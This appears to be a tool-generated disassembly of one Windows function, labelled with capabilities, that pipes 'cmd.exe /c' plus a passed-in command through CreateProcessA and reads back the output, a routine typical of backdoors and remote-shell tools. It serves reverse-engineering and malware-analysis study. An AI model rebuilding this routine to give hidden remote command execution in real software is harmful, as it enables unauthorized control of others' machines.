Function at 0x4016b0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create process suspended
Get common file path
Read file on windows

Disassembly:
sub esp, 0x91c
push ebx
push ebp
push esi
push edi
mov ecx, 0x12b
xor eax, eax
lea edi, [esp + 0x7d]
mov byte [esp + 0x7c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x52d]
mov byte [esp + 0x52c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor ebp, ebp
lea ecx, [esp + 0x10]
stosb byte es:[edi], al
lea eax, [esp + 0x1c]
push ebp
push eax
lea edx, [esp + 0x1c]
push ecx
push edx
mov dword [esp + 0x24], ebp
mov dword [esp + 0x20], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x2c], 0xc
mov dword [esp + 0x30], ebp
mov dword [esp + 0x34], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x401761
mov eax, dword [esp + 0x934]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [eax], 0x23000003
mov dword [eax + 4], ebp
mov eax, dword [esp + 0x14]
cmp eax, ebp
je 0x401747
push eax
call esi
mov eax, dword [esp + 0x10]
cmp eax, ebp
je 0x4018db
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x91c
ret
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0x44
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x7c]
push 0x4b0
push ecx
mov dword [esp + 0x70], eax
mov dword [esp + 0x6c], eax
mov word [esp + 0x60], bp
mov dword [esp + 0x5c], 0x101
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.cmd.exe__c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [esp + 0x934]
and ecx, 3
lea edx, [esp + 0x7c]
mov eax, dword [ebx + 4]
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x930]
push eax
push ecx
push edx
call sub.MSVCRT.dll_strncat
add esp, 0xc
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x28]
lea edx, [esp + 0x7c]
push eax
push ecx
push 0
push 0
push 0
push 1
push 0
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x401846
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebx + 4], eax
mov eax, dword [esp + 0x14]
mov dword [ebx], 0x23000003
test eax, eax
je 0x40182c
push eax
call esi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4018db
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x91c
ret
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x52c]
push eax
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x534]
push 0x400
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4018b4
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x930]
mov eax, ecx
lea esi, [esp + 0x52c]
lea edi, [edx + ebp]
push 0x32
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
add ebp, dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401851
mov eax, dword [esp + 0x14]
mov dword [ebx], 0
test eax, eax
mov dword [ebx + 4], ebp
je 0x4018cc
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4018db
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x91c
ret